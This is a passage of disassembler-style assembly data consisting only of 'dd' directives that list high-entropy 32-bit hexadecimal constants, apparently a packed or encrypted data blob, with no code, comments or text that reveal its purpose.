		dd 4022AEB5h, 40614C4Fh, 2447524Eh, 0CAC0FC26h,	3B45B337h
		dd 0A400CC3Ch, 46662AC5h, 1849917Ch, 31A0018Ch,	903BBBE1h
		dd 0E51D8982h, 84E41E34h, 23CC8E00h, 0E6FFBDEDh, 0EF5326ECh
		dd 46C160Ch, 4019BC44h,	743A947Fh, 0BB3802CAh, 9ACF82C4h
		dd 0A9822879h, 0C0156A05h, 4AAA0FDCh, 0E5100978h, 48DF443h
		dd 88FB27ECh, 601FFAF4h, 0F5C07C63h, 0D6BEDDE1h, 72A6009Dh
		dd 79FC4567h, 51528FB5h, 12D8008Ch, 322E7F80h, 0D090007Dh
		dd 23D24678h, 8901C02Ah, 0D76C2258h, 9980407Ah,	0E088336Ah
		dd 9500CFE9h, 0B3943731h, 0FE6BD444h, 0C0FA4B91h, 0E9EAB264h
		dd 79CE9207h, 53F0B4A8h, 998842h, 4AD295CAh, 0C964EAB1h
		dd 0BC0007F2h, 601B7CC8h, 0CB736DD5h, 800415E8h, 0D8B040E8h
		dd 91BB04D9h, 1E640B00h, 0D890B411h, 0B22F55D8h, 0D8784B20h
		dd 360D3E9h, 0BACBEE7Ah, 0CAA8C6D1h, 522ED20h, 0F7E726C1h
		dd 0EFF0B84h, 20D9D98Bh, 2098960Eh, 999FCF1Eh, 0DC7919h
		dd 0B8BA47Eh, 940F69B5h, 7C895304h, 8124A9CFh, 2C52BE70h
		dd 0A069CF14h, 0AB74077Eh, 34FC01B1h, 0CF9861E9h, 98202A93h
		dd 50C45DDEh, 1DC2AE8Bh, 80685249h, 2142F78Eh, 0E613990Eh
		dd 4C88AD2h, 0E03F0FFFh, 1140D0A6h, 0D84E2117h,	0FB106601h
		dd 0DC1B97AEh, 9EADB430h, 7C60257Ch, 0D91F1C71h, 4CAC95Fh
		dd 644284C2h, 8030721Bh, 245774C0h, 4AD4BD05h, 39340980h
		dd 0E50FF4D9h, 7192090Ch, 45A78A44h, 11A8007Ch,	0B25FF335h
		dd 1CC93B5Fh, 0B6523040h, 68B502CAh, 1E2D9526h,	2A00C4FAh
		dd 0C899DFCFh, 0F449D831h, 0E875FEh, 0E1064DFDh, 2439A02Fh
		dd 250F9D00h, 0C474C065h, 0D1AD00DDh, 2AE00591h, 753A68B2h
		dd 20212518h, 4543CDE0h, 0F81A2FD9h, 750054E4h,	1262582Ch
		dd 1E493C18h, 73D056h, 0B27D364Eh, 0BC94EA8Eh, 63ECD640h
		dd 0A01F0070h, 26388324h, 89001837h, 9273E942h,	3CEB3BB0h
		dd 7E70B3h, 837278C2h, 85FF678Eh, 0B9887D7Fh, 0F0240920h
		dd 94007F07h, 0EAD15894h, 0D4BCF728h, 9864A900h, 0A6C1A00Dh
		dd 0CD728B6h, 720A16B0h, 9248E161h, 70D1B228h, 7C1066C1h
		dd 644A1990h, 8BDC88h, 0E4D9C8AFh, 90FEE0EDh, 0F8C80E5Bh
		dd 0E588004Ah, 0EA6D8C35h, 0D3F6CE36h, 742F9400h, 528B7F0Ah
		dd 0D2F409E8h, 0C8D0B390h, 0EDACB204h, 9440377Ah, 0BFBBE2B9h
		dd 496EA809h, 432580C4h, 24C8D9Dh, 0C9F67290h, 10D13A8Bh
		dd 0E416ED8Bh, 39690420h, 0E0E15D22h, 0B0BE4ACh, 9896C0C6h
		dd 0EA84340h, 5A73373Fh, 49C8E6E0h, 72E4ECFBh, 1045122h
		dd 47355B2Ah, 308813D2h, 0A0AC356h, 0ACDFBF3Ah,	93A19500h
		dd 279BE74Ch, 0A064A5C1h, 3FBB9E00h, 70C2D9E2h,	0F18304A8h
		dd 812DF730h, 408D1859h, 0CEB471D8h, 0D9B53616h, 10ABEB01h
		dd 306A5133h, 161AC808h, 3007B9E6h, 53B8E635h, 9AA00D87h
		dd 2955A22h, 4CEBEC3Fh,	0F4DC8AC9h, 19CBEF40h, 5E7BE029h
		dd 0E4282011h, 670033FCh, 4C55AB6Bh, 6AB06Dh, 8ADC8557h
		dd 0FCF70C5Ch, 7C0E6807h, 0FBB467F8h, 5B804CF8h, 0FCBD8261h
		dd 0C9D92C0Ch, 2493C828h, 240F6CBh, 0AEB94D1Ah,	76D960A0h
		dd 0F5006D86h, 9582E370h, 33DEBB9h, 6F815EBBh, 2390D320h
		dd 8B02D27Eh, 5B3DE67h,	0B184C4B9h, 192C82E4h, 0C0F59E04h
		dd 5BF6CE6Ah, 0C08208Ch, 4BFA8452h, 3D00F2E6h, 1560F5C9h
		dd 1DB476FFh, 2E61D858h, 0C9E417C5h, 5710307Ch,	0E8AF421Eh
		dd 0C4E259D7h, 27707E00h, 0DA7D6074h, 4AF4A500h, 2BF7D631h
		dd 16149038h, 0BE89480h, 94487A94h, 79004F7Eh, 0A692C34h
		dd 9EFD387h, 7B8C6595h,	13AB2580h, 997C52DAh, 0E805F1F0h
		dd 3BB34AF7h, 683361C5h, 60B2B818h, 3F1203C5h, 13D486AEh
		dd 754769C8h, 8789D809h, 804C88CAh, 779FF640h, 55EE00CCh
		dd 0EBED60BDh, 0C50B3D8Ch, 64217D9Eh, 750F0058h, 8D51C17Bh
		dd 1103ECC7h, 25D860B5h, 0FA72C13Ah, 363FB869h,	17E52E00h
		dd 0B17903EDh, 0E694C700h, 0BC4B8896h, 244226A3h, 0F4E50120h
		dd 391F2AC9h, 0D7010724h, 0C680E269h, 0C141BC9Bh, 9936A89Ah
		dd 48002EDDh, 5189EC2Ch, 7771CF05h, 8D4D3240h, 0D61C3543h
		dd 7FC0F5D7h, 0CAB54557h, 0E6010021h, 0BB6B1C72h, 0A10EDF8Ch
		dd 9FD51DC8h, 0D7C9C6C0h, 1421D210h, 0DD13AE4Bh, 0B0A39207h
		dd 0FCD3A0D4h, 1F391B6Ah, 0F45242h, 980D0316h, 26DAEA5h
		dd 99D8FCE6h, 385CEA6Ah, 2F67F40h, 67E20479h, 0A97AECB0h
		dd 80F73AECh, 0BA2FE5F2h, 489FA10h, 670488DEh, 78021308h
		dd 0FCC04A8Bh, 0C2BD64h, 73A00B1Ch, 5C8D01Bh, 8E09E4E2h
		dd 0C2100045h, 0A2C5B2A4h, 0C7682614h, 0F4A100A0h, 0E30F62F2h
		dd 0C77C5BE4h, 0D1E54224h, 0DB8FA862h, 30D830F2h, 0B702F45Eh
		dd 19D480Bh, 36888555h,	0E3063482h, 84F2EDFCh, 503AA700h
		dd 88FEBE2Ah, 11AF3Ch, 0F6523912h, 5F7B7277h, 32B0207Fh
		dd 1616028Ch, 0DCC8CE23h, 35750BD6h, 0FC0262A7h, 64231CD3h
		dd 1769BE20h, 1E3C67Fh,	0CFF70FF0h, 0AAEB4495h,	0A57CE021h
		dd 4F44B20h, 8A76864Dh,	0A1D7C3E6h, 2B5333A9h, 7973040h
		dd 0E2B3ECh, 0D83AABAh,	5A995130h, 0A3D08F03h, 0CC7D1894h
		dd 58138B4h, 279578B8h,	0C09C008Bh, 9073C99Eh, 8DD71501h
		dd 0FBA86C32h, 2E000062h, 5D2D78C0h, 5C01C2DCh,	0C6B6867Fh
		dd 283CBF3Dh, 0AEB10092h, 0EACD559Eh, 8984F800h, 98B933EDh
		dd 585E6D7h, 0CFEF8830h, 0CAF0CCAEh, 8A4F560Bh,	0BC3818F4h
		dd 4D2D488Fh, 0F8182E00h, 0C81A0A99h, 1AA7625h,	0A074E530h
		dd 0FC7C176Ah, 0C07725ABh, 0B8816AF0h, 526B0110h, 98ADC8B3h
		dd 3CDCD2D3h, 240CBB40h, 9ACD0063h, 328F78CEh, 0D84E6808h
		dd 0E0A0888h, 445B939Fh, 0D0861207h, 0D3BB1418h, 4EB8FB2Dh
		dd 0C0009D18h, 789142D6h, 0B0B56026h, 92031E08h, 0EF18A473h
		dd 81A09F3Ch, 183261EBh, 0E7F03555h, 2C6495ACh,	448D8500h
		dd 0DBFD8675h, 0F3000A3h, 51AED111h, 0B502CBEDh, 3795708Eh
		dd 402C8E72h, 0FCA4C6ECh, 49A20061h, 0BE840839h, 0CF2DF466h
		dd 751C90A8h, 0A04100F2h, 6CD4B893h, 9125B1DBh,	0D0E409h
		dd 3321C945h, 647AC325h, 85EA6B05h, 90800D20h, 1F8AFA92h
		dd 0E8C72B4Dh, 16F00040h, 72548BBDh, 66137574h,	0C506E38Ah
		dd 25919ACh, 0A8F439Ch,	0D451AF99h, 8DD67904h, 10E813AFh
		dd 24EE871h, 0C62BA468h, 0E8C59061h, 9124D154h,	7CE90F8h
		dd 7D403DE5h, 2967FDh, 0E8FFDB5Eh, 7C0FD3D4h, 0FB8883BFh
		dd 317B2Fh, 9E8F7772h, 65F84771h, 314D1C02h, 617DC73Dh
		dd 142311E0h, 0DC145F00h, 9D45D7CDh, 779E270Fh,	8B6F6491h
		dd 0FAD1F48Ch, 96C1090Fh, 0F4DA97CFh, 18D83A2Fh, 582B2114h
		dd 6C005C74h, 86DE0E2Ah, 38B6B3FFh, 0B5486D40h,	147B0A6h
		dd 0DF053E53h, 0F0AA5A24h, 0E54A3A6Bh, 80448892h, 0FAAE5768h
		dd 848F00DDh, 299AD405h, 0E5F9A893h, 0C026EEBh,	6474B9C0h
		dd 556D0084h, 64655FDDh, 4FB0EAF7h, 73A95E09h, 0F8E4E4EBh
		dd 0F7210004h, 0D23FB4F1h, 0A661DA95h, 0B09DE550h, 0C3C3ACDh
		dd 5493DCB0h, 83B3940Eh, 0A2E0805Bh, 4E904AECh,	6788800Bh
		dd 4E045E45h, 7BFE8E38h, 2C44A4h, 3DAC3234h, 0BF0282A5h
		dd 0DE3C1F00h, 15BCCAEFh, 0C9C54BD9h, 0C0AF60C8h, 0C9F5B30Fh
		dd 0D480E4EBh, 8F611C81h
		dd 99998D0h, 7EAAD081h,	0CB0D4448h, 39403Dh, 0C315ECF4h
		dd 5892A0h, 0A1B99BA3h,	1ADE7970h, 2CD19E17h, 2B6B8805h
		dd 76E708Ch, 0F6532479h, 3D1CE3FEh, 0BE1784E8h,	0E0871045h
		dd 10CF89C3h, 4893C9B2h, 2C022505h, 14F97AD9h, 79D0D100h
		dd 0AEA0FE58h, 44DA6700h, 0B052D13h, 666B0046h,	0B41DF3DCh
		dd 0EC0923EFh, 0FEEB25h, 3D68FF1Ch, 52B72FF2h, 0C6A7A020h
		dd 0FD00732Ah, 13124717h, 0E26798Bh, 7723F792h,	0A8D9C7E9h
		dd 9B7AFC80h, 2531ABBh,	3ACC220Bh, 73227292h, 184788Bh
		dd 1E7D708Fh, 78933943h, 459D88A0h, 631C808Ah, 4B12473Ah
		dd 5490208Ch, 107B909h,	8DF1405Dh, 0D238C670h, 602E1058h
		dd 530004C4h, 0B9A892FFh, 0E15E2620h, 7FA760BCh, 9F9894D3h
		dd 0B0459100h, 22684ABBh, 2FF4E96h, 12522AA4h, 0A9ED5860h
		dd 0B3617D00h, 0B5E7DC69h, 14424CBDh, 815F913h,	0B08FE834h
		dd 0D048499Dh, 8E340070h, 0DF23C1D0h, 0FE485696h, 0FC5CC0C4h
		dd 0BDA99E1h, 8E0BA557h, 6840138Eh, 0D43A934Ah,	78204C4Eh
		dd 0F41C2AEBh, 0D98A00A2h, 5E942FEEh, 1A0133AEh, 89B3DB13h
		dd 183311ECh, 0CA9F4601h, 62FB772Dh, 846100C8h,	0D73196F1h
		dd 643129Dh, 51204CA0h,	0BEE9B0h, 5880BE4Fh, 0B50289AFh
		dd 41ED398Ah, 21BBC796h, 0D874C5C4h, 3B30F9E5h,	0F052E45Eh
		dd 0ABE80021h, 4F6BDB4Bh, 0A17E7CC8h, 38EDAA0Bh, 0C4940B8Ah
		dd 2CEC01B4h, 0AB4F01DCh, 6EC0E965h, 67055002h,	0EC94A2AEh
		dd 2D8C4FAh, 593ACB8Eh,	8840E15Dh, 890598A5h, 0EBBB5B01h
		dd 0D6C030ECh, 39FD812Eh, 0AE186B03h, 0D2A7C743h, 0E0E04B88h
		dd 0F95A3CCh, 4BA9F6E0h, 0F46A9D0Bh, 0C840E454h, 0B55CECCh
		dd 37E04614h, 2A7E0B80h, 92043D5Fh, 0A6273DBh, 0D2000ABh
		dd 0C1A044FBh, 0ECA14D4Ah, 0A020C6E2h, 2E319B0h, 757A67B3h
		dd 0BD4048D7h, 90059474h, 4D9D6FB7h, 2A19F882h,	0E379097Ch
		dd 4316C404h, 0B8E0D5ACh, 14DFDC0h, 7CEB39D1h, 0EBE2AD61h
		dd 6D5C5ED8h, 0A07B202Fh, 3557EF50h, 0CE7F0086h, 9DC1B80Ch
		dd 0D5005E26h, 0B69C50F8h, 0DEA374h, 457DC8A1h,	0CD5AD4A0h
		dd 78ECAF2Eh, 8AC5891Eh, 8CF027FBh, 80C6372h, 0A90212C2h
		dd 3AD6E60Eh, 4284FC93h, 0B4C0AE77h, 0CB06C95Dh, 66B246D3h
		dd 13BF2238h, 9141E21Fh, 0D91B7202h, 0C0CC81B0h, 0E0202468h
		dd 0D1490BD0h, 9F7416ABh, 7C52D61Eh, 2AC0E030h,	724600F1h
		dd 80E070C4h, 13074B3Dh, 178A9FEDh, 7D3527C1h, 338448h
		dd 0CABEA763h, 0D07B546h, 44714700h, 42B27DB7h,	7C8C00A1h
		dd 2B73C7C8h, 0D301C58Bh, 0AC800A96h, 18212D90h, 3F451D6h
		dd 0D4312406h, 0EE9AAD8h, 0A420F35Fh, 0FC75FB71h, 0DDD00D7h
		dd 13C0237h, 260389E6h,	40E21B6h, 7880DD6Ah, 905710F4h
		dd 0BFD5F120h, 0EF89A240h, 0CFD10C05h, 0D6713DA6h, 95990300h
		dd 0C892D4AFh, 20404B07h, 0E868F224h, 7255A305h, 0E2C19549h
		dd 0F9E18C30h, 1F158DD0h, 4980F741h, 6880E563h,	3CDC9D12h
		dd 0FA3A0098h, 78C84B4Bh, 7B590063h, 0AA194676h, 0D717BCD6h
		dd 9C889D3Ah, 6AC50BE8h, 245107FBh, 3F423285h, 9957B780h
		dd 63E430C6h, 0CE844360h, 21987D07h, 0B29226D8h, 3ABCE03Bh
		dd 4FC9F86Fh, 242C2063h, 0CF3AEA41h, 1555801Ch,	1D1623CEh
		dd 1D1DB06Ch, 0C0A89D79h, 0B610C86Ah, 8717D47Ch, 91BD17h
		dd 886C4F64h, 2C136AC0h, 8F27E9C9h, 0D04413F1h,	0F16BE1Ch
		dd 52C7D525h, 0C794D424h, 0B8FB29D0h, 0A816482Ch, 19D90C8h
		dd 0B9848E11h, 151C6806h, 48AB8480h, 17991239h,	40E8A2D3h
		dd 455AE6B8h, 0F4B6CCD0h, 0C2140086h, 70E11716h, 720FC559h
		dd 0C03E3AC3h, 0B51DAB41h, 0F3A60744h, 0E274B092h, 0C04178DBh
		dd 3C206B1Ah, 13C11347h, 1FC798F9h, 9DB140B4h, 0C8C9A0ADh
		dd 1368417h, 20FAA84Fh,	64FD5596h, 5CE0A8h, 6D21ACD5h
		dd 2EDCF73h, 0B0B919F8h, 1C405F3Dh, 0FA69F754h,	62A3004Ch
		dd 4EC1A2B2h, 1897BD05h, 0BC21B3CCh, 0FB28004h,	0A7E1667Dh
		dd 0D40BAB00h, 0F107CE78h, 0F34E0274h, 98016A28h, 0B40B0FEh
		dd 2A8A6A1h, 7A4DF7BDh,	0F07A7237h, 1501D9F8h, 0C564DAA2h
		dd 0F7F4E8B4h, 8F0E012Fh, 1838B380h, 2C206F60h,	0ADE436h
		dd 0C8D869A6h, 0CFE29B1Bh, 82A48548h, 5D290ED5h, 9FA90480h
		dd 514BE84Eh, 0A691A040h, 0E0CF010h, 0B74BEB7Ah, 336E4A60h
		dd 7704DB70h, 67E43959h, 47A89540h, 0AB02088Dh,	1A8757B1h
		dd 6C905F3Fh, 61004B8Ch, 32B7D717h, 4DAE525h, 90997166h
		dd 47684041h, 4A85FB35h, 0F30888B6h, 0F2803400h, 0C7BB315Ch
		dd 0AC620001h, 0CF657F98h, 3B3A3F0Eh, 6CA8A87Dh, 2C1E6E06h
		dd 0A011BB05h, 2722C948h, 84E40AEEh, 9E2C730Eh,	415A40EFh
		dd 3EA98Fh, 976569A4h, 2B9ABB13h, 20D16600h, 94D21C0Fh
		dd 1B7917CAh, 0F8B0C9DDh, 0E81EBD22h, 45DF922Bh, 27FC862Fh
		dd 586F0008h, 0CE8A8C54h, 69038F3Ah, 0FA901921h, 67209F64h
		dd 218F76Eh, 94808EA0h,	0A4E0A268h, 0A605C8ADh,	0CF7FABB4h
		dd 0F8274E9h, 0B066AAF3h, 47DE7302h, 4369F189h,	8754901Ch
		dd 3E97042Dh, 0BF6CFADCh, 981DD405h, 4D19C8C0h,	8FD85E39h
		dd 3A4407A4h, 10D96447h, 16073BFCh, 405CB2D8h, 0DFD7B5E8h
		dd 123AEAD2h, 0AF06079h, 582D528Ah, 0C85F182Fh,	6100C940h
		dd 19A1855Bh, 0B878591Dh, 686900B7h, 0A7C025DCh, 90953A3Ch
		dd 0FD41E4h, 4AD998B5h,	8A42AF6h, 1A83EF01h, 0CB2EE66Dh
		dd 2C9C307Ah, 4D14B490h, 0E846ABh, 47C3CA72h, 2DF2EAF1h
		dd 3C912764h, 698C36Eh,	0A7009F29h, 4BF4A648h, 9B886h
		dd 6B248BC5h, 54DE9D56h, 66046F79h, 4DECEBADh, 4E7802EEh
		dd 0AEC0FF90h, 0F44CAF91h, 0DB170270h, 0F1D5059Bh, 32574018h
		dd 0D274211h, 21BCA07Ah, 0F6A187E2h, 44E64864h,	5D6C49D7h
		dd 9A82F80h, 711E6A97h,	23C03AEFh, 0D7A285EEh, 7BCF25B9h
		dd 810F2051h, 70EB43ADh, 3BB1B035h, 44E6D4h, 6EAA93C6h
		dd 0FCC81922h, 55277073h, 2851B3h, 0F22F67B0h, 2C50E98Bh
		dd 9FEB85h, 6AF0A35Ch, 59562957h, 75DB87E4h, 0D88000B8h
		dd 67951941h, 9D8900D0h, 256665B7h, 0C530201h, 3CFCF9CBh
		dd 305E303Ch, 72F8B9Ch,	706B8C25h, 474AC74h, 6CD5D8C6h
		dd 0DF48292h, 0EF009077h, 60E33942h, 0F17D1CF5h, 0BE7B8021h
		dd 10526B4Ah, 74393D2Eh, 0A1DBAD60h, 1CF728Eh, 0FDEF1587h
		dd 0E88A534Ch, 0DD0C750Bh, 0E651A9DEh, 620F04DBh, 0F2ABCF7Ch
		dd 9D437C28h, 91090204h, 0C858C87Dh, 388D5300h,	8F108095h
		dd 0F60C1D68h, 0F3D300E7h, 2354E9D6h, 586497h, 0C0861651h
		dd 0B5F61A9Eh, 78B02Dh,	8E406D64h, 25FE3868h, 942CC85Bh
		dd 63E3A900h, 60B19ABFh, 7AFB00C9h, 9D907C22h, 4F2713F4h
		dd 0E8D88738h, 9368AE81h, 6213F033h, 0D0A273h, 2848B123h
		dd 0BBBA01h, 567AE8D3h,	8971ADF3h, 3D603804h, 0C780B848h
		dd 1279DF9h, 59DAE97Fh,	62A69917h, 0CE44184h, 1200918Ch
		dd 85818A7Fh, 1329A1DCh, 0B4524258h, 2D02A63Ch,	66051EA3h
		dd 476F60C7h, 0CC3AEFF8h, 2E4B0E80h, 9C278E0h, 1CAC8FF9h
		dd 0DC645CD4h, 0F3FC20ABh, 7A168998h, 9C31E8A4h, 0D4E87D84h
		dd 0A90E00CCh, 6CB5D6D1h, 587BFFB4h, 0AA0F34E6h, 0AB278C19h
		dd 46448B9Ch, 0D4C80088h, 3F0268F6h, 5025BF59h,	0FDB01041h
		dd 0C08D004Ah, 0E7B85C36h
		dd 5000270Eh, 0F7AFB6B4h, 279D66B5h, 68108862h,	0E00ED842h
		dd 638E8C1Fh, 0E8C2C550h, 4EC9F734h, 28CE3EFh, 3070CE8Bh
		dd 44D0F060h, 2B024B69h, 544C0C7h, 0AC005C67h, 0D3114Ch
		dd 31D4A02Ah, 99D03E2h,	0DA390844h, 0DD005CD1h,	0B4D3F8B2h
		dd 7FE2869h, 0C8EB4BCAh, 2C00FF9Ch, 8BBA183h, 13B6E016h
		dd 0EC7CE17Eh, 0A430804Ch, 6F1BCAh, 0A6684612h,	0D7B3F8D5h
		dd 0FFE470FDh, 0D031CF28h, 88956D01h, 0E722BB1Fh, 781B02ECh
		dd 0DC9150h, 0FC316CEDh, 14009B7Dh, 50A3CE96h, 0B0D0F830h
		dd 0D8255C20h, 1F8CC84Bh, 0D553B01h, 4930B85Bh,	2FC44420h
		dd 90105197h, 2407F89Eh, 588DE43Fh, 0DFC1C607h,	0CC2A1492h
		dd 17002F6Ch, 0C19A5F4Dh, 7C6861A0h, 746788ABh,	1027B24Eh
		dd 0FFF7CA70h, 34E4000Ch, 0E5BF0EE6h, 351F86C7h, 57053DCDh
		dd 18AC048Fh, 6F137080h, 0AF0C2D97h, 2072BE73h,	0D81E5368h
		dd 66438874h, 0EA78DF00h, 563DD1E8h, 9E50B176h,	4266404Ah
		dd 2E171AA8h, 40B834FEh, 8FFE0512h, 459B4F6h, 0F579D809h
		dd 4403C74h, 3AE4A840h,	5FBECCAAh, 0BC408FA7h, 6B40F819h
		dd 40E89C18h, 5A5CEE24h, 35A1781Eh, 270D5200h, 9F7534Bh
		dd 363C2B4Ah, 545010E4h, 0E507D2F4h, 220D7093h,	4FAC7AA1h
		dd 7C052842h, 38EF4184h, 0E02430B5h, 0D8C58D05h, 3091B3ADh
		dd 0D82B3BB6h, 0E09E564h, 0F1C67F73h, 0A4020030h, 0AA2363A2h
		dd 0B96AB600h, 0EEC0F23Ah, 341097B4h, 0FC05EF60h, 53A30F11h
		dd 41AB50C0h, 30109DC7h, 0F1000A90h, 4F5A7992h,	0EDFEA58h
		dd 2AFEB7F9h, 0B02DBB64h, 427386Ch, 0D0389967h,	1DC552D1h
		dd 0DEAB5510h, 0D1CAC309h, 641CC0D5h, 84949FF2h, 0B0E4E800h
		dd 49AD3007h, 0E53900BAh, 41816D43h, 2B00BE4Fh,	0C5D9177Ch
		dd 0B789545Ah, 3C97D402h, 4269802Fh, 169D65A1h,	0A8C88CFCh
		dd 92803914h, 9888A8CFh, 46EC0027h, 524BA995h, 8A029FE4h
		dd 9979F7B0h, 22FC41B2h, 1E6093h, 731947FFh, 0BC1CC6FCh
		dd 13D80405h, 0B0A8DBF1h, 72F401FCh, 2C6B0A52h,	8C402F73h
		dd 6F9B760h, 5F5E0016h,	181F8A0h, 9B04B063h, 0F732D03Eh
		dd 308324A8h, 9DD88346h, 0CAE06F2Bh, 31C8CE00h,	0E97E6B80h
		dd 0D9620032h, 3F844896h, 18059529h, 3A671720h,	5880A0FCh
		dd 91F41C53h, 7860A309h, 8BB4F910h, 10D1FADBh, 8A3F2500h
		dd 7057697h, 7E4CD7D8h,	850790FEh, 981789ACh, 0D4162887h
		dd 247B1CCCh, 5400FC6h,	0E84A7201h, 0B7B480C0h,	1331D625h
		dd 0FC6B89F2h, 1F2A0844h, 0C02D9D5Ah, 9E609FB4h, 0E0003F2Eh
		dd 703223C9h, 2C56F98h,	352A63EAh, 11D5F2ACh, 6408D4B0h
		dd 84E91B6Fh, 0C4F83A8Dh, 897AA280h, 10A2EAACh,	4D40B0F6h
		dd 45B7D6h, 0E3F5127Dh,	80083251h, 55CC5524h, 9740F61Fh
		dd 3CAA104h, 0A0E4957Bh, 0B88B897h, 0F62907BAh,	8EA5B9h
		dd 0DB4787BCh, 0EB09095h, 18AD009Fh, 0F56EED2Ah, 0C7142180h
		dd 22A4FF61h, 0A5DB2713h, 0E28144D1h, 928AC2E4h, 0F7C7A8C3h
		dd 40C4BC04h, 1AC41777h, 1EBEA48h, 0E6E741E8h, 783D1E2Bh
		dd 8EB09D00h, 0EF178235h, 5D015098h, 3A70024Ch,	276B3876h
		dd 14DD30BCh, 0B00EE57h, 1F47DE87h, 9E3CAE6h, 536EE26Bh
		dd 2C1488h, 5646B79Ah, 1000CF59h, 0AF2EC52Dh, 0B745EB0h
		dd 30E89FDDh, 0DB807459h, 0B068B554h, 0E55617A5h, 89D4C8EEh
		dd 471A1100h, 0D3200DBBh, 2E7B0ABh, 50E356B1h, 0DFE34273h
		dd 7D9E27D8h, 0F9918004h, 0A0FD7972h, 8838547Ah, 2BAB13B7h
		dd 4C9400B4h, 0C56D679Eh, 68925813h, 0F4103000h, 9AD95CFh
		dd 1E52DE9Dh, 29F39468h, 17FBE202h, 878155D0h, 0A000E181h
		dd 0C5F9A7h, 788A62A8h,	47D2DACAh, 64366525h, 0F86E005Ch
		dd 9FD6F3D4h, 0F00F007h, 667A4EB5h, 50043960h, 4EED34C0h
		dd 2BC44051h, 0F233A76Bh, 2349F51Fh, 61F47381h,	81606AFCh
		dd 40E4967Fh, 0C02C05D8h, 0C3A9B812h, 6C801A1Fh, 3B802A77h
		dd 0C800B5BFh, 27517D0Eh, 3FC0E640h, 95750779h,	69B34480h
		dd 180060F2h, 529651A6h, 0E16DADh, 88BA387h, 370BC771h
		dd 9225DA01h, 0DBF68419h, 30EC0E0h, 33748135h, 0FA8001D2h
		dd 0E10056B4h, 7DA88CC9h, 0F490CBA4h, 0F958307Bh, 1357020h
		dd 3200D3E8h, 0F4296AA3h, 614446h, 41506986h, 0D781F25Bh
		dd 0EAB48E0Dh, 688059D6h, 0D8D8A18h, 36395C32h,	87B4809Ah
		dd 0C37EB30Ah, 6353F8FEh, 494D30D3h, 81067178h,	0D2702CC2h
		dd 95FD0011h, 86621075h, 84385C0Eh, 0D9891C16h,	617B7A41h
		dd 4880FB5Eh, 0E6ED5B8Bh, 0CF00D55Ah, 0BBF21E58h, 6034C2EAh
		dd 5EA86111h, 731C123Ah, 0FD0C597Ah, 0A0D19023h, 0EBC2198h
		dd 857C3CFBh, 1033F443h, 78363900h, 8FC5C9EFh, 815D0625h
		dd 0C166A991h, 3C8B6307h, 69006A30h, 5A286FDBh,	42A849h
		dd 0C47B2B90h, 6032F93Eh, 0E8CC5107h, 0B33A3F4Bh, 52B7059Eh
		dd 1AC7AFCAh, 85B9B8BAh, 3904D38h, 0C3FE8440h, 19983BCh
		dd 752D93Dh, 48D4E945h,	0BB3C4FB8h, 0C8FE1D4Ch,	80B499B0h
		dd 0F84CE141h, 0F8CF2CDEh, 30E50036h, 0A9098A4Dh, 0F2316960h
		dd 0E792FAEh, 16FB39F4h, 0A9B91CA1h, 17218052h,	765D7854h
		dd 390A008Bh, 0F1CE387Ah, 0D9F081B4h, 0E1633430h, 0DD23DBh
		dd 8BABBDA1h, 0FBD8AEE3h, 0B1D03901h, 0F66270D1h, 0CEE9C0h
		dd 9C7E904Ah, 8083BE82h, 0FCE60E00h, 0E078F1A6h, 0C3053B56h
		dd 408A09FFh, 4810534Eh, 0FCA85F60h, 20F951E4h,	0F4FAF7A9h
		dd 3728A51Dh, 4940B41Ch, 0CB6576BDh, 54CFF0A7h,	33384C9h
		dd 8EB6E42Fh, 0F7E80BE9h, 0DB03CBBDh, 32B84A28h, 87C9001Ch
		dd 2B315B2Ah, 6F00D9E2h, 706A9EC6h, 0C03A9132h,	57186660h
		dd 0DF24E628h, 1F147C2Bh, 0CD22DCh, 0B15156EFh,	95E93E6Dh
		dd 7874F324h, 0E1181020h, 9389C86h, 0AE9E00DBh,	17969D88h
		dd 909161A9h, 0FC557100h, 0C609DCh, 950DC02Fh, 0EEEB0558h
		dd 40034F0h, 0CDE93DA5h, 1A101FBh, 0E16FD066h, 4059DCA0h
		dd 8B28D3D0h, 1C7535F0h, 4B60A615h, 42BB01A0h, 0DF0643C8h
		dd 578F8C42h, 35E16E82h, 0BA0E0464h, 5D189F65h,	0CAD25580h
		dd 2601019h, 78A4250Ah,	5E0CE02h, 0EB00B753h, 0E0E22CEAh
		dd 1D0F824Fh, 0BCF3833Eh, 0D0897D80h, 30013752h, 60328A24h
		dd 2A9FE41h, 13891FCh, 0C5ADC2C0h, 8A66E7B3h, 98CC7B81h
		dd 0C880039Fh, 0F7C23D4Eh, 567F01Bh, 0F23A257Ah, 0A1180033h
		dd 349A7FFBh, 2331271Dh, 85E62E38h, 0F5704000h,	26B5056Dh
		dd 2C912CE8h, 8620011Eh, 0E037C479h, 35764C74h,	9CCB0D26h
		dd 1870C10Eh, 0F13081h,	40A6D950h, 0B14287B2h, 0C3218B72h
		dd 80449E8Fh, 7C4F7E98h, 813AAA05h, 6C340EBCh, 800D4982h
		dd 93B6D066h, 84450230h, 8B2C372Ah, 5F1FE440h, 0DFFF7208h
		dd 2032934Eh, 0E4917C44h, 9BAC1D00h, 9CB21EB9h,	227B00F4h
		dd 0F1DD8ED6h, 0DA01E49Eh, 9D84E998h, 29DCA828h, 0AB4764Bh
		dd 47B7A192h, 0ED0D80FCh, 508C320Ah, 933A38h, 72351003h
		dd 75E6C68h, 0BD5315AFh, 2D8B10C0h, 4524082Fh, 2143BCB7h
		dd 0A907C897h, 49472430h, 7F1A0443h, 0DF60D057h, 0AAF8821Eh
		dd 0CF106760h, 6059EB40h, 0E62C4414h, 1B00E56Bh, 154987F0h
		dd 0EAB1CFh, 0D66305C6h, 583618A1h, 32274003h, 0D8508A97h
		dd 9BFC5BCh, 65FDA7AAh,	0CF9B807Fh, 0F2D7AC25h,	9FF6C4h
		dd 0E2C1021Ch, 8FD43AF1h
		dd 8D32E400h, 706C9117h, 13C90C61h, 8A710C49h, 37015D0Ch
		dd 1EB2D0FFh, 2606E2h, 5689AD10h, 0A00FE48Dh, 0F886A414h
		dd 3FF270h, 0AF9ECF67h,	0CA4F3164h, 0A5926203h,	93420E21h
		dd 9199000Ch, 6F73340Bh, 48C17B11h, 90442B0h, 0BE6B2180h
		dd 0BB062E56h, 0A273F274h, 0F2DFF3Fh, 986DD2FDh, 0E89729h
		dd 5B57AD02h, 706B7439h, 6AFF8500h, 0EABF415Ah,	48B180ECh
		dd 8BAD921Fh, 60971BCCh, 463305Ah, 4A035049h, 0AB726000h
		dd 43DCDB33h, 0E49008Ah, 5347FB46h, 8F60A394h, 3F1F3CE9h
